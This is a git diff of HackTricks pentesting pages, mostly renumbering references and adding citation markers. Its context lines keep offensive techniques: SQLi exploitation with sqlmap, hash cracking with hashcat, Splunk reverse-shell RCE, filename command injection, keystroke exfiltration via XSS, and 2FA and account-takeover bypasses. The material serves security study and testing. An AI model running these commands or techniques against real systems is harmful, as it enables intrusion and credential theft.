Netcat.[[4]](#references) Type the following command: ```bash ./xrdp.py --no-disp @@ -221,7 +221,10 @@ Then, put your IP address and port in the **R-Shell** option and click on **R-sh ## References -- [X.Org `xauth` manual](https://www.x.org/releases/X11R7.7/doc/man/man1/xauth.1.xhtml) -- [Xpra manual](https://xpra.org/manual) +- [1] [X.Org `xauth` manual](https://www.x.org/releases/X11R7.7/doc/man/man1/xauth.1.xhtml) +- [2] [Xpra manual](https://xpra.org/manual) +- [3] [How X11 authorization works (.Xauthority / MIT-MAGIC-COOKIE) - Stack Overflow](https://stackoverflow.com/a/37367518) +- [4] [Exploiting X11 Unauthenticated Access - Infosec Institute](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) +- [5] [Vulnerability Analysis (LFF-IPS Part 2) - bitvijays](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/8089-splunkd.md b/src/network-services-pentesting/8089-splunkd.md index 0f1ecfa0a8e..b1580264c21 100644 --- a/src/network-services-pentesting/8089-splunkd.md +++ b/src/network-services-pentesting/8089-splunkd.md @@ -53,7 +53,7 @@ Key Exploitation Potential: ### Create Custom Application -Splunk offers a sophisticated method for remote code execution through custom application deployment, leveraging its cross-platform scripting capabilities. The core exploitation technique revolves around creating a malicious application that can execute reverse shells on both Windows and Linux systems. +Splunk offers a sophisticated method for remote code execution through custom application deployment, leveraging its cross-platform scripting capabilities. The core exploitation technique revolves around creating a malicious application that can execute reverse shells on both Windows and Linux systems.[[1]](#references) A custom application can run **Python, Batch, Bash, or PowerShell scripts**. Moreover, **Splunk comes with Python installed**, so even in **Windows** systems you will be able to run python code. @@ -120,7 +120,7 @@ In the following page you can find an explanation how this service can be abused ## References -- [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213) +- [1] [Attacking Splunk - RCE via custom application (HTB Academy)](https://academy.hackthebox.com/module/113/section/1213) {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/9000-pentesting-fastcgi.md b/src/network-services-pentesting/9000-pentesting-fastcgi.md index 904f2b4b6a9..c76fa9d3e4b 100644 --- a/src/network-services-pentesting/9000-pentesting-fastcgi.md +++ b/src/network-services-pentesting/9000-pentesting-fastcgi.md @@ -89,14 +89,16 @@ Convert `payload` to URL-safe base64/percent-encoding and send via `gopher://hos ### Notes on recent issues -* **libfcgi <= 2.4.4 integer overflow (2024):** crafted `nameLen`/`valueLen` in FastCGI records can overflow on 32‑bit builds (common in embedded/IoT), yielding heap RCE when the FastCGI socket is reachable (directly or via SSRF). -* **PHP-FPM log manipulation (CVE-2024-9026):** when `catch_workers_output = yes`, attackers who can send FastCGI requests may truncate or inject up to 4 bytes per log line to erase indicators or poison logs. +* **libfcgi <= 2.4.4 integer overflow (2024):** crafted `nameLen`/`valueLen` in FastCGI records can overflow on 32‑bit builds (common in embedded/IoT), yielding heap RCE when the FastCGI socket is reachable (directly or via SSRF).[[1]](#references)[[2]](#references) +* **PHP-FPM log manipulation (CVE-2024-9026):** when `catch_workers_output = yes`, attackers who can send FastCGI requests may truncate or inject up to 4 bytes per log line to erase indicators or poison logs.[[3]](#references) * **Classic Nginx + cgi.fix_pathinfo misconfig:** still widely seen; if `fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;` is used without file existence checks, any path ending in `.php` gets executed, enabling path traversal or source overwrite style gadgets. ## References -* [FastCGI library integer overflow leading to RCE](https://cybersecuritynews.com/fastcgi-integer-overflow-flaw/) -* [CVE-2024-9026 PHP-FPM log manipulation analysis](https://cyrisk.com/security/cve-2024-9026-log-manipulation/) +- [1] [CVE-2025-23016 - Exploiting the FastCGI library (Synacktiv)](https://www.synacktiv.com/en/publications/cve-2025-23016-exploiting-the-fastcgi-library) +- [2] [FastCGI library integer overflow leading to RCE](https://cybersecuritynews.com/fastcgi-integer-overflow-flaw/) +- [3] [CVE-2024-9026 PHP-FPM log manipulation analysis](https://cyrisk.com/security/cve-2024-9026-log-manipulation/) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md index 87504c87030..6ee4bb0a641 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -Table taken from the [**docs**](https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-principals-transact-sql?view=sql-server-ver17). +Table taken from the [**docs**](https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-principals-transact-sql?view=sql-server-ver17).[[3]](#references) | Column name | Data type | Description | | --------------------------------------- | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | @@ -96,7 +96,7 @@ ORDER BY name; - **Contained users and `WITHOUT LOGIN` users**: contained users are good pivot and persistence indicators because they do not depend on a server login. `WITHOUT LOGIN` users cannot authenticate directly, but Microsoft explicitly notes that they can connect to other databases as `guest`, so they are especially interesting when you already control execution context changes. - **`db_securityadmin`**: this role can manage permissions and custom role membership, so it can often be turned into a stronger position even when it is not instant `sysadmin`. Fixed-role membership changes still require `db_owner`. - **`EXTERNAL_USER` / `EXTERNAL_GROUPS`**: in Azure SQL / SQL Managed Instance these are usually Microsoft Entra-backed identities. Do not ignore them during enumeration because they can own schemas, be role members, and participate in impersonation paths. Database-principal impersonation is supported even where server-level Entra impersonation is limited. -- **Special roles in `msdb`**: enumerate them separately. Microsoft documents that `db_ssisadmin` and `dc_admin` can become privilege-escalation material because Integration Services packages may end up executing through SQL Server Agent in a high-privilege context. +- **Special roles in `msdb`**: enumerate them separately. Microsoft documents that `db_ssisadmin` and `dc_admin` can become privilege-escalation material because Integration Services packages may end up executing through SQL Server Agent in a high-privilege context.[[1]](#references) If you find interesting `IMPERSONATE`, `db_owner`, or linked-server paths, continue from the main MSSQL page: @@ -116,6 +116,8 @@ mssqlpwner corp.com/user:pass@10.10.10.10 interactive ## References -- [Microsoft Learn - Database-Level Roles](https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/database-level-roles?view=sql-server-ver17) -- [ScorpionesLabs - MSSqlPwner](https://github.com/ScorpionesLabs/MSSqlPwner) +- [1] [Microsoft Learn - Database-Level Roles](https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/database-level-roles?view=sql-server-ver17) +- [2] [ScorpionesLabs - MSSqlPwner](https://github.com/ScorpionesLabs/MSSqlPwner) +- [3] [Microsoft Learn - sys.database_principals (Transact-SQL)](https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-principals-transact-sql?view=sql-server-ver17) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/zoneminder-motioneye-motion.md b/src/network-services-pentesting/pentesting-web/zoneminder-motioneye-motion.md index 49bc5d6c1c5..ee3f1f8242e 100644 --- a/src/network-services-pentesting/pentesting-web/zoneminder-motioneye-motion.md +++ b/src/network-services-pentesting/pentesting-web/zoneminder-motioneye-motion.md @@ -48,7 +48,7 @@ Useful workflow: 3. Determine the **UNION column count**. 4. Feed the working shape to **sqlmap** instead of waiting for slow time-based extraction. -Example from a real exploitation chain where the original query accepted **4 columns** and HTTP **`200`** indicated **True**: +Example from a real exploitation chain where the original query accepted **4 columns** and HTTP **`200`** indicated **True**:[[1]](#references) ```bash sqlmap -r removetag.request -p tid --batch \ @@ -69,7 +69,7 @@ This is specially useful when the application gives a better **Boolean** signal ### Turning app SQLi into OS access -ZoneMinder user dumps are high-value because they often contain **reusable operator credentials**. +ZoneMinder user dumps are high-value because they often contain **reusable operator credentials**.[[1]](#references) - Identify the hash type first (for example **bcrypt** / **`$2y$`**). - Crack only the extracted application users. @@ -83,7 +83,7 @@ hashcat zm.hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --user -m ## Post-foothold: sniffing internal creds with `tcpdump` capabilities -On Linux CCTV appliances, low-privileged shells sometimes inherit useful **file capabilities** instead of sudo. +On Linux CCTV appliances, low-privileged shells sometimes inherit useful **file capabilities** instead of sudo.[[1]](#references) Check for capture primitives: @@ -113,7 +113,7 @@ Review the pcap in Wireshark and prioritise: ### Signed requests + client-side-only validation -motionEye signs config requests with **`_signature`**, so directly editing a captured JSON body normally breaks the request. However, some dangerous fields are only protected by **client-side JavaScript validation**. +motionEye signs config requests with **`_signature`**, so directly editing a captured JSON body normally breaks the request. However, some dangerous fields are only protected by **client-side JavaScript validation**.[[1]](#references) A practical approach is: @@ -130,7 +130,7 @@ This is useful when the UI blocks characters such as **`$`**, but the backend st ### Filename-to-shell command injection -In vulnerable motionEye / Motion setups, fields such as **`image_file_name`** or **`picture_filename`** are written into Motion configuration and later propagated into shell-executed hooks such as **`on_picture_save ... %f`**. +In vulnerable motionEye / Motion setups, fields such as **`image_file_name`** or **`picture_filename`** are written into Motion configuration and later propagated into shell-executed hooks such as **`on_picture_save ... %f`**.[[1]](#references) If the saved filename contains shell substitution like **`$(...)`**, the shell expands it before the hook runs. @@ -178,13 +178,13 @@ Some motionEye builds store: @admin_password = sha1(real_password) ``` -and then accept request signatures computed using the stored hash-derived secret. In practice, this means the stored **SHA1** may itself be usable as the **login secret** for the admin UI. +and then accept request signatures computed using the stored hash-derived secret. In practice, this means the stored **SHA1** may itself be usable as the **login secret** for the admin UI.[[1]](#references) ## References -- [0xdf - HTB: CCTV](https://0xdf.gitlab.io/2026/07/11/htb-cctv.html) -- [ZoneMinder repository](https://github.com/ZoneMinder/zoneminder) -- [motionEye repository](https://github.com/motioneye-project/motioneye) -- [Motion Project](https://motion-project.github.io/) +- [1] [0xdf - HTB: CCTV](https://0xdf.gitlab.io/2026/07/11/htb-cctv.html) +- [2] [ZoneMinder repository](https://github.com/ZoneMinder/zoneminder) +- [3] [motionEye repository](https://github.com/motioneye-project/motioneye) +- [4] [Motion Project](https://motion-project.github.io/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/2fa-bypass.md b/src/pentesting-web/2fa-bypass.md index 88b45af5ac6..5650dc68439 100644 --- a/src/pentesting-web/2fa-bypass.md +++ b/src/pentesting-web/2fa-bypass.md @@ -22,7 +22,7 @@ Investigate whether the token is disclosed in a response from the web applicatio ### **Verification Link Exploitation** -Using the **email verification link sent upon account creation** can allow profile access without 2FA, as highlighted in a detailed [post](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b). +Using the **email verification link sent upon account creation** can allow profile access without 2FA, as highlighted in a detailed [post](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b).[[4]](#references) ### **Session Manipulation** @@ -42,7 +42,7 @@ Compromising a user's account on a trusted **OAuth** platform (e.g., Google, Fac The lack of a limit on the number of code attempts allows for brute force attacks, though potential silent rate limiting should be considered. -Note that even if a rate limit is in place you should try to see if the response is different when the valid OTP is sent. In [**this post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), the bug hunter discovered that even if a rate limit is triggered after 20 unsuccessful attempts by responding with 401, if the valid one was sent a 200 response was received. +Note that even if a rate limit is in place you should try to see if the response is different when the valid OTP is sent. In [**this post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), the bug hunter discovered that even if a rate limit is triggered after 20 unsuccessful attempts by responding with 401, if the valid one was sent a 200 response was received.[[5]](#references) #### **Slow Brute Force** @@ -122,9 +122,11 @@ In case the OTP is created based on data the user already has or that is sending ## References -- [https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35](https://medium.com/@ISecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35) -- [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718) -- [https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116_1d0f6ce59992222b0812b7cab19a4bce](https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116_1d0f6ce59992222b0812b7cab19a4bce) +- [1] [Two-Factor Authentication Security Testing and Possible Bypasses](https://medium.com/@ISecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35) +- [2] [2 Factor Authentication Bypass](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718) +- [3] [https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116_1d0f6ce59992222b0812b7cab19a4bce](https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116_1d0f6ce59992222b0812b7cab19a4bce) +- [4] [Behind the Scenes of a Security Bug: The Perils of 2FA Cookie Generation](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b) +- [5] [The $2,200 ATO Most Bug Hunters Overlooked by Closing Intruder Too Soon](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732) P diff --git a/src/pentesting-web/account-takeover.md b/src/pentesting-web/account-takeover.md index 405ccf33cf3..de7bb6a08e6 100644 --- a/src/pentesting-web/account-takeover.md +++ b/src/pentesting-web/account-takeover.md @@ -12,7 +12,7 @@ The email of an account should be attempted to be changed, and the confirmation 2. An account should be created using Unicode\ for example: `vićtim@gmail.com` -As explained in [**this talk**](https://www.youtube.com/watch?v=CiIyaZ3x49c), the previous attack could also be done abusing third party identity providers: +As explained in [**this talk**](https://www.youtube.com/watch?v=CiIyaZ3x49c), the previous attack could also be done abusing third party identity providers:[[10]](#references) - Create an account in the third party identity with similar email to the victim using some unicode character (`vićtim@company.com`). - The third party provider shouldn't verify the email @@ -77,7 +77,7 @@ If you find a XSS in application you might be able to steal cookies, local stora xss-cross-site-scripting/ {{#endref}} -- Attribute-only reflected payloads on login pages can hook `document.onkeypress`, exfiltrate keystrokes through `new Image().src`, and steal credentials without submitting the form. See [Attribute-only login XSS behind WAFs](xss-cross-site-scripting/README.md#attribute-only-login-xss-behind-wafs) for a practical workflow. +- Attribute-only reflected payloads on login pages can hook `document.onkeypress`, exfiltrate keystrokes through `new Image().src`, and steal credentials without submitting the form. See [Attribute-only login XSS behind WAFs](xss-cross-site-scripting/README.md#attribute-only-login-xss-behind-wafs) for a practical workflow.[[1]](#references) ## **Same Origin + Cookies** @@ -90,7 +90,7 @@ hacking-with-cookies/ ## **Predictable SSO / bearer cookies and staged login replay** -Some cross-application SSO stacks treat a client-visible cookie as a **bearer secret** and use it directly as the **server-side cache key** for the authenticated identity. If the value is generated from **low-entropy data** such as `System.currentTimeMillis()`, a sequential ID, or an encoded timestamp with no MAC/signature, the attacker only needs to predict the victim's login window and replay candidate values. +Some cross-application SSO stacks treat a client-visible cookie as a **bearer secret** and use it directly as the **server-side cache key** for the authenticated identity. If the value is generated from **low-entropy data** such as `System.currentTimeMillis()`, a sequential ID, or an encoded timestamp with no MAC/signature, the attacker only needs to predict the victim's login window and replay candidate values.[[8]](#references)[[9]](#references) Quick triage: @@ -128,7 +128,7 @@ reset-password.md ## **Magic Links / Passwordless Login** -Passwordless email-login flows deserve the same scrutiny as reset-password flows: +Passwordless email-login flows deserve the same scrutiny as reset-password flows:[[6]](#references) - If the unauthenticated endpoint that creates the magic link accepts attacker-controlled `redirect_url`, `next`, `return_to`, or `callback` parameters, request a link for the victim and make the post-login redirect land on an attacker origin first. - If the confirmation endpoint puts the token or session in the URL, fragment, or a browser-readable response, the attacker-controlled landing page can steal it and then bounce the victim back to the real application. @@ -145,7 +145,7 @@ Content-Type: application/json ``` ## Security-question resets that trust client-supplied usernames -If an "update security questions" flow takes a `username` parameter even though the caller is already authenticated, you can overwrite any account's recovery data (including admins) because the backend typically runs `UPDATE ... WHERE user_name = ?` with your untrusted value. The pattern is: +If an "update security questions" flow takes a `username` parameter even though the caller is already authenticated, you can overwrite any account's recovery data (including admins) because the backend typically runs `UPDATE ... WHERE user_name = ?` with your untrusted value.[[4]](#references) The pattern is: 1. Log in with a throwaway user and capture the session cookie. 2. Submit the victim username plus new answers via the reset form. @@ -177,7 +177,7 @@ oauth-to-account-takeover.md ## **QR / Cross-Device Login Flows** -Desktop QR login, TV/device-code login, wallet login, and "approve on your phone" flows are now common ATO surfaces. Treat `qrId`, `device_code`, approval handles, and polling session identifiers like password-reset tokens. +Desktop QR login, TV/device-code login, wallet login, and "approve on your phone" flows are now common ATO surfaces. Treat `qrId`, `device_code`, approval handles, and polling session identifiers like password-reset tokens.[[7]](#references) Common weaknesses to test: @@ -214,7 +214,7 @@ These manipulation techniques are effective in scenarios where JSON is utilized ## Change email of current session -From [this report](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea): +From [this report](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea):[[3]](#references) - Attacker requests to change his email with a new one - Attacker receives a link to confirm the change of the email @@ -233,11 +233,11 @@ This also happened in [**this report**](https://dynnyd20.medium.com/one-click-ac ### Old Cookies As explained [**in this post**](https://medium.com/@niraj1mahajan/uncovering-the-hidden-vulnerability-how-i-found-an-authentication-bypass-on-shopifys-exchange-cc2729ea31a9), it was possible to login into an account, save the cookies as an authenticated user, logout, and then login again.\ -With the new login, although different cookies might be generated the old ones became to work again. +With the new login, although different cookies might be generated the old ones became to work again.[[11]](#references) ### Trusted device cookies + batch API leakage -*Long-lived device identifiers that gate recovery can be stolen when a batch API lets you copy unreadable subresponses into writable sinks.* +*Long-lived device identifiers that gate recovery can be stolen when a batch API lets you copy unreadable subresponses into writable sinks.*[[5]](#references) - Identify a **trusted-device cookie** (`SameSite=None`, long-lived) used to relax recovery checks. - Find a **first-party endpoint** that returns that device ID in JSON (e.g., an OAuth `code` exchange returning `machine_id`) but is not readable cross-origin. @@ -257,14 +257,16 @@ access_token=PAGE_ACCESS_TOKEN&method=post ## References -- [https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/](https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/) -- [https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050](https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050) -- [https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea) -- [0xdf – HTB Era: security-question IDOR & username oracle](https://0xdf.gitlab.io/2025/11/29/htb-era.html) -- [Steal DATR Cookie](https://ysamm.com/uncategorized/2026/01/15/steal-dtsg-cookie.html) -- [Dfns - The Magic Link Vulnerability](https://www.dfns.co/article/the-magic-link-vulnerability) -- [USENIX Security 2025 - Demystifying the (In)Security of QR Code-based Login in Real-world Deployments](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin) -- [Bishop Fox - A Millisecond of Predictability: Why CVE-2026-11374 Is Hard to Exploit](https://bishopfox.com/blog/millisecond-of-predictability-why-cve-2026-11374-hard-to-exploit) -- [Bishop Fox - CVE-2026-11374 detection tool](https://github.com/BishopFox/CVE-2026-11374-check) +- [1] [HackCommander - Turning a harmless XSS behind a WAF into a realistic phishing vector](https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/) +- [2] [Firing: 8 Account Takeover Methods](https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050) +- [3] [One Click Account Take Over](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea) +- [4] [0xdf – HTB Era: security-question IDOR & username oracle](https://0xdf.gitlab.io/2025/11/29/htb-era.html) +- [5] [Steal DATR Cookie](https://ysamm.com/uncategorized/2026/01/15/steal-dtsg-cookie.html) +- [6] [Dfns - The Magic Link Vulnerability](https://www.dfns.co/article/the-magic-link-vulnerability) +- [7] [USENIX Security 2025 - Demystifying the (In)Security of QR Code-based Login in Real-world Deployments](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin) +- [8] [Bishop Fox - A Millisecond of Predictability: Why CVE-2026-11374 Is Hard to Exploit](https://bishopfox.com/blog/millisecond-of-predictability-why-cve-2026-11374-hard-to-exploit) +- [9] [Bishop Fox - CVE-2026-11374 detection tool](https://github.com/BishopFox/CVE-2026-11374-check) +- [10] [Till Recollapse: Fuzzing the Web for Mysterious Vulnerabilities - Andre Baptista](https://www.youtube.com/watch?v=CiIyaZ3x49c) +- [11] [Uncovering the Hidden Vulnerability: How I Found an Authentication Bypass on Shopify's Exchange](https://medium.com/@niraj1mahajan/uncovering-the-hidden-vulnerability-how-i-found-an-authentication-bypass-on-shopifys-exchange-cc2729ea31a9) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md index 6ded1a58fea..1698e5092da 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -373,11 +373,11 @@ The **less extensions and URLs** indicated here, the **smaller the attack surfac > > Therefore, this is a **very powerful bypass**. > -> Moreover, if the client installs a rouge extension, even if it isn't allowed to communicate with the vulnerable extension, it could inject **XSS data in an allowed web page** or abuse **`WebRequest`** or **`DeclarativeNetRequest`** APIs to manipulate requests on a targeted domain altering a page's request for a **JavaScript file**. (Note that CSP on the targeted page could prevent these attacks). This idea comes [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability). +> Moreover, if the client installs a rouge extension, even if it isn't allowed to communicate with the vulnerable extension, it could inject **XSS data in an allowed web page** or abuse **`WebRequest`** or **`DeclarativeNetRequest`** APIs to manipulate requests on a targeted domain altering a page's request for a **JavaScript file**. (Note that CSP on the targeted page could prevent these attacks). This idea comes [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).[[15]](#references) #### Wildcard-trusted web origins to privileged action injection -If an extension exposes a **high-privilege message handler** to the web via `externally_connectable`, avoid trusting a broad pattern such as `https://*.example.com/*`. A single **XSS**, **subdomain takeover**, or **vendor widget compromise** on any matching subdomain becomes equivalent to owning the extension's web-facing API. +If an extension exposes a **high-privilege message handler** to the web via `externally_connectable`, avoid trusting a broad pattern such as `https://*.example.com/*`. A single **XSS**, **subdomain takeover**, or **vendor widget compromise** on any matching subdomain becomes equivalent to owning the extension's web-facing API.[[13]](#references) Typical exploitation path: @@ -678,7 +678,7 @@ In [**this blog post**](https://spaceraccoon.dev/universal-code-execution-browse 3. Background script passes the message to native application using `sendNativeMessage`. 4. Native application handles the message dangerously, leading to code execution. -And inside of it an example of **going from any page to RCE abusing a browser extension is explained**. +And inside of it an example of **going from any page to RCE abusing a browser extension is explained**.[[14]](#references) ## Sensitive Information in Memory/Code/Clipboard @@ -765,7 +765,7 @@ forced-extension-load-preferences-mac-forgery-windows.md ## Detecting Malicious Extension Updates (Static Version Diffing) -Supply-chain compromises often arrive as **malicious updates** to previously benign extensions. A practical, low-noise approach is to **compare a new extension package against the last known-good version** using static analysis (for example, [Assemblyline](https://github.com/CybercentreCanada/assemblyline)). The goal is to alert on **high-signal deltas** rather than on any change. +Supply-chain compromises often arrive as **malicious updates** to previously benign extensions. A practical, low-noise approach is to **compare a new extension package against the last known-good version** using static analysis (for example, [Assemblyline](https://github.com/CybercentreCanada/assemblyline)). The goal is to alert on **high-signal deltas** rather than on any change.[[12]](#references) ### Workflow @@ -856,18 +856,20 @@ Project Neto is a Python 3 package conceived to analyse and unravel hidden featu ## References -- **Thanks to** [**@naivenom**](https://twitter.com/naivenom) **for the help with this methodology** -- [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing) -- [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/) -- [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/) -- [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/) -- [https://help.passbolt.com/assets/files/PBL-02-report.pdf](https://help.passbolt.com/assets/files/PBL-02-report.pdf) -- [https://developer.chrome.com/docs/extensions/develop/concepts/content-scripts](https://developer.chrome.com/docs/extensions/develop/concepts/content-scripts) -- [https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable) -- [https://developer.chrome.com/docs/extensions/mv2/background-pages](https://developer.chrome.com/docs/extensions/mv2/background-pages) -- [https://thehackerblog.com/kicking-the-rims-a-guide-for-securely-writing-and-auditing-chrome-extensions/](https://thehackerblog.com/kicking-the-rims-a-guide-for-securely-writing-and-auditing-chrome-extensions/) -- [https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0](https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0) -- [https://redcanary.com/blog/threat-detection/assemblyline-browser-extensions/](https://redcanary.com/blog/threat-detection/assemblyline-browser-extensions/) -- [https://www.koi.ai/blog/shadowprompt-how-any-website-could-have-hijacked-anthropic-claude-chrome-extension](https://www.koi.ai/blog/shadowprompt-how-any-website-could-have-hijacked-anthropic-claude-chrome-extension) +- [1] Thanks to [@naivenom](https://twitter.com/naivenom) for the help with this methodology +- [2] [Introduction to Chrome Browser Extension Security Testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing) +- [3] [Anatomy of a basic extension](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/) +- [4] [Attack surface of extension pages](https://palant.info/2022/08/24/attack-surface-of-extension-pages/) +- [5] [When extension pages are web-accessible](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/) +- [6] [Passbolt PBL-02 security report](https://help.passbolt.com/assets/files/PBL-02-report.pdf) +- [7] [Content scripts | Chrome Extensions](https://developer.chrome.com/docs/extensions/develop/concepts/content-scripts) +- [8] [externally_connectable | Chrome Extensions manifest](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable) +- [9] [Background pages (MV2) | Chrome Extensions](https://developer.chrome.com/docs/extensions/mv2/background-pages) +- [10] [Kicking the Rims - A Guide for Securely Writing and Auditing Chrome Extensions](https://thehackerblog.com/kicking-the-rims-a-guide-for-securely-writing-and-auditing-chrome-extensions/) +- [11] [How to View Chrome Extension Source Code](https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0) +- [12] [Detecting malicious browser extensions with Assemblyline](https://redcanary.com/blog/threat-detection/assemblyline-browser-extensions/) +- [13] [ShadowPrompt: How Any Website Could Have Hijacked Anthropic's Claude Chrome Extension](https://www.koi.ai/blog/shadowprompt-how-any-website-could-have-hijacked-anthropic-claude-chrome-extension) +- [14] [Universal code execution in browser extensions](https://spaceraccoon.dev/universal-code-execution-browser-extensions/) +- [15] [Opera zero-day RCE vulnerability](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md index ad2a092ac80..5dcde62ae8a 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md @@ -26,7 +26,7 @@ However, this feature presents a security risk. If a resource within **`web_acce ## PrivacyBadger Example -In the extension PrivacyBadger, a vulnerability was identified related to the `skin/` directory being declared as `web_accessible_resources` in the following manner (Check the original [blog post](https://blog.lizzie.io/clickjacking-privacy-badger.html)): +In the extension PrivacyBadger, a vulnerability was identified related to the `skin/` directory being declared as `web_accessible_resources` in the following manner (Check the original [blog post](https://blog.lizzie.io/clickjacking-privacy-badger.html)):[[1]](#references) ```json "web_accessible_resources": [ @@ -80,7 +80,7 @@ The fix was easy: **remove `/skin/*` from the `web_accessible_resources`**. ## Metamask Example -A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). In this case, Metamask fixed the vulnerability by checking that the protocol used to access it was **`https:`** or **`http:`** (not **`chrome:`** for example): +A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). In this case, Metamask fixed the vulnerability by checking that the protocol used to access it was **`https:`** or **`http:`** (not **`chrome:`** for example):[[2]](#references)
